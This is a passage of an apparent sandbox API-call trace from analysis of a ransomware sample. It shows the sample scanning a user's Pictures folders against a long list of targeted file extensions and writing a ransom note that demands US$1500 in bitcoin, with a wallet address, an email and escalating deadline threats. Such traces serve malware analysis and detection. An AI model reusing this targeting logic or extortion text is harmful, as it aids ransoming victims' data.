HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.bz2") returned 0 [0090.907] lstrlenA (lpString="*.bz2") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.gz") returned 0 [0090.907] lstrlenA (lpString="*.gz") returned 4 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mkv") returned 0 [0090.907] lstrlenA (lpString="*.mkv") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.eml") returned 0 [0090.907] lstrlenA (lpString="*.eml") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.msg") returned 0 [0090.907] lstrlenA (lpString="*.msg") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.edb") returned 0 [0090.907] lstrlenA (lpString="*.edb") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.accdb") returned 0 [0090.907] lstrlenA (lpString="*.accdb") returned 7 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.odb") returned 0 [0090.907] lstrlenA (lpString="*.odb") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.java") returned 0 [0090.908] lstrlenA (lpString="*.java") returned 6 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.asm") returned 0 [0090.908] lstrlenA (lpString="*.asm") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.pfx") returned 0 [0090.908] lstrlenA (lpString="*.pfx") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.pem") returned 0 [0090.908] lstrlenA (lpString="*.pem") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.p12") returned 0 [0090.908] lstrlenA (lpString="*.p12") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.gpg") returned 0 [0090.908] lstrlenA (lpString="*.gpg") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.vsd") returned 0 [0090.908] lstrlenA (lpString="*.vsd") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.odg") returned 0 [0090.908] lstrlenA (lpString="*.odg") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.raw") returned 0 [0090.908] lstrlenA (lpString="*.raw") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.nef") returned 0 [0090.908] lstrlenA (lpString="*.nef") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.svg") returned 0 [0090.908] lstrlenA (lpString="*.svg") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.psd") returned 0 [0090.908] lstrlenA (lpString="*.psd") returned 5 [0090.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.vmx") returned 0 [0090.908] lstrlenA (lpString="*.vmx") returned 5 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.vmdk") returned 0 [0090.909] lstrlenA (lpString="*.vmdk") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.vdi") returned 0 [0090.909] lstrlenA (lpString="*.vdi") returned 5 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.lay6") returned 0 [0090.909] lstrlenA (lpString="*.lay6") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mpeg") returned 0 [0090.909] lstrlenA (lpString="*.mpeg") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.djvu") returned 0 [0090.909] lstrlenA (lpString="*.djvu") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.tiff") returned 0 [0090.909] lstrlenA (lpString="*.tiff") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.backup") returned 0 [0090.909] lstrlenA (lpString="*.backup") returned 8 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.pdf") returned 0 [0090.909] lstrlenA (lpString="*.pdf") returned 5 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.cert") returned 0 [0090.909] lstrlenA (lpString="*.cert") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.docm") returned 0 [0090.909] lstrlenA (lpString="*.docm") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.xlsm") returned 0 [0090.909] lstrlenA (lpString="*.xlsm") returned 6 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.dwg") returned 0 [0090.909] lstrlenA (lpString="*.dwg") returned 5 [0090.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.nd") returned 0 [0090.910] lstrlenA (lpString="*.nd") returned 4 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.tlg") returned 0 [0090.910] lstrlenA (lpString="*.tlg") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.lgb") returned 0 [0090.910] lstrlenA (lpString="*.lgb") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mov") returned 0 [0090.910] lstrlenA (lpString="*.mov") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.xdw") returned 0 [0090.910] lstrlenA (lpString="*.xdw") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.ods") returned 0 [0090.910] lstrlenA (lpString="*.ods") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.wav") returned 0 [0090.910] lstrlenA (lpString="*.wav") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mp3") returned 0 [0090.910] lstrlenA (lpString="*.mp3") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.aiff") returned 0 [0090.910] lstrlenA (lpString="*.aiff") returned 6 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.flac") returned 0 [0090.910] lstrlenA (lpString="*.flac") returned 6 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.m4a") returned 0 [0090.910] lstrlenA (lpString="*.m4a") returned 5 [0090.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.csv") returned 0 [0090.910] lstrlenA (lpString="*.csv") returned 5 [0090.910] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1176b50, ftCreationTime.dwHighDateTime=0x1d5d9cb, ftLastAccessTime.dwLowDateTime=0x9d6bea30, ftLastAccessTime.dwHighDateTime=0x1d5d831, ftLastWriteTime.dwLowDateTime=0x9d6bea30, ftLastWriteTime.dwHighDateTime=0x1d5d831, nFileSizeHigh=0x0, nFileSizeLow=0x6d1c, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName="wnPsJ69.bmp", cAlternateFileName="")) returned 0 [0090.911] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.911] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cc9260, ftCreationTime.dwHighDateTime=0x1d5e077, ftLastAccessTime.dwLowDateTime=0x56ba4710, ftLastAccessTime.dwHighDateTime=0x1d5e2c9, ftLastWriteTime.dwLowDateTime=0x56ba4710, ftLastWriteTime.dwHighDateTime=0x1d5e2c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="tY3onRA9iVt2rvo", cAlternateFileName="TY3ONR~1")) returned 1 [0090.911] lstrcmpA (lpString1=".", lpString2="tY3onRA9iVt2rvo") returned -1 [0090.911] lstrcmpA (lpString1="..", lpString2="tY3onRA9iVt2rvo") returned -1 [0090.911] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*") returned="*.*" [0090.911] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="tY3onRA9iVt2rvo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo" [0090.911] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo") returned 54 [0090.911] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cc9260, ftCreationTime.dwHighDateTime=0x1d5e077, ftLastAccessTime.dwLowDateTime=0x56ba4710, ftLastAccessTime.dwHighDateTime=0x1d5e2c9, ftLastWriteTime.dwLowDateTime=0x56ba4710, ftLastWriteTime.dwHighDateTime=0x1d5e2c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.911] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.911] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0cc9260, ftCreationTime.dwHighDateTime=0x1d5e077, ftLastAccessTime.dwLowDateTime=0x56ba4710, ftLastAccessTime.dwHighDateTime=0x1d5e2c9, ftLastWriteTime.dwLowDateTime=0x56ba4710, ftLastWriteTime.dwHighDateTime=0x1d5e2c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.911] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.911] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.911] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34727c90, ftCreationTime.dwHighDateTime=0x1d5e210, ftLastAccessTime.dwLowDateTime=0x9a6d02d0, ftLastAccessTime.dwHighDateTime=0x1d5e289, ftLastWriteTime.dwLowDateTime=0x9a6d02d0, ftLastWriteTime.dwHighDateTime=0x1d5e289, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1be7", cAlternateFileName="")) returned 1 [0090.911] lstrcmpA (lpString1=".", lpString2="1be7") returned -1 [0090.911] lstrcmpA (lpString1="..", lpString2="1be7") returned -1 [0090.911] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\*.*") returned="*.*" [0090.911] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="1be7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7" [0090.911] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7") returned 59 [0090.911] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34727c90, ftCreationTime.dwHighDateTime=0x1d5e210, ftLastAccessTime.dwLowDateTime=0x9a6d02d0, ftLastAccessTime.dwHighDateTime=0x1d5e289, ftLastWriteTime.dwLowDateTime=0x9a6d02d0, ftLastWriteTime.dwHighDateTime=0x1d5e289, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.912] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.912] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34727c90, ftCreationTime.dwHighDateTime=0x1d5e210, ftLastAccessTime.dwLowDateTime=0x9a6d02d0, ftLastAccessTime.dwHighDateTime=0x1d5e289, ftLastWriteTime.dwLowDateTime=0x9a6d02d0, ftLastWriteTime.dwHighDateTime=0x1d5e289, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.912] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.912] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.912] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b662f0, ftCreationTime.dwHighDateTime=0x1d5e5a3, ftLastAccessTime.dwLowDateTime=0x50112ce0, ftLastAccessTime.dwHighDateTime=0x1d5d7ab, ftLastWriteTime.dwLowDateTime=0x50112ce0, ftLastWriteTime.dwHighDateTime=0x1d5d7ab, nFileSizeHigh=0x0, nFileSizeLow=0x121c4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2H7u3V.jpg", cAlternateFileName="")) returned 1 [0090.912] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.912] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2H7u3V.jpg") returned 1 [0090.912] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2H7u3V.jpg") returned 1 [0090.912] lstrcmpiA (lpString1="", lpString2="2H7u3V.jpg") returned -1 [0090.912] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\*.*") returned="*.*" [0090.912] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" [0090.912] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="" [0090.912] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" [0090.912] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt")) returned 0xffffffff [0090.913] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.914] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.914] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.916] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.916] CloseHandle (hObject=0x90) returned 1 [0090.916] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="2H7u3V.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.ems") returned 0 [0090.916] lstrlenA (lpString="*.ems") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.db") returned 0 [0090.916] lstrlenA (lpString="*.db") returned 4 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.dbf") returned 0 [0090.916] lstrlenA (lpString="*.dbf") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.myox") returned 0 [0090.916] lstrlenA (lpString="*.myox") returned 6 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.myo") returned 0 [0090.916] lstrlenA (lpString="*.myo") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbw") returned 0 [0090.916] lstrlenA (lpString="*.qbw") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbb") returned 0 [0090.916] lstrlenA (lpString="*.qbb") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbm") returned 0 [0090.916] lstrlenA (lpString="*.qbm") returned 5 [0090.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbo") returned 0 [0090.917] lstrlenA (lpString="*.qbo") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbx") returned 0 [0090.917] lstrlenA (lpString="*.qbx") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qba") returned 0 [0090.917] lstrlenA (lpString="*.qba") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qby") returned 0 [0090.917] lstrlenA (lpString="*.qby") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qbj") returned 0 [0090.917] lstrlenA (lpString="*.qbj") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.ofx") returned 0 [0090.917] lstrlenA (lpString="*.ofx") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.qif") returned 0 [0090.917] lstrlenA (lpString="*.qif") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.mye") returned 0 [0090.917] lstrlenA (lpString="*.mye") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.mbox") returned 0 [0090.917] lstrlenA (lpString="*.mbox") returned 6 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.eml") returned 0 [0090.917] lstrlenA (lpString="*.eml") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.pst") returned 0 [0090.917] lstrlenA (lpString="*.pst") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.ost") returned 0 [0090.917] lstrlenA (lpString="*.ost") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.idx") returned 0 [0090.917] lstrlenA (lpString="*.idx") returned 5 [0090.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.dbx") returned 0 [0090.918] lstrlenA (lpString="*.dbx") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.sql") returned 0 [0090.918] lstrlenA (lpString="*.sql") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.mdb") returned 0 [0090.918] lstrlenA (lpString="*.mdb") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.fdb") returned 0 [0090.918] lstrlenA (lpString="*.fdb") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.wab") returned 0 [0090.918] lstrlenA (lpString="*.wab") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", 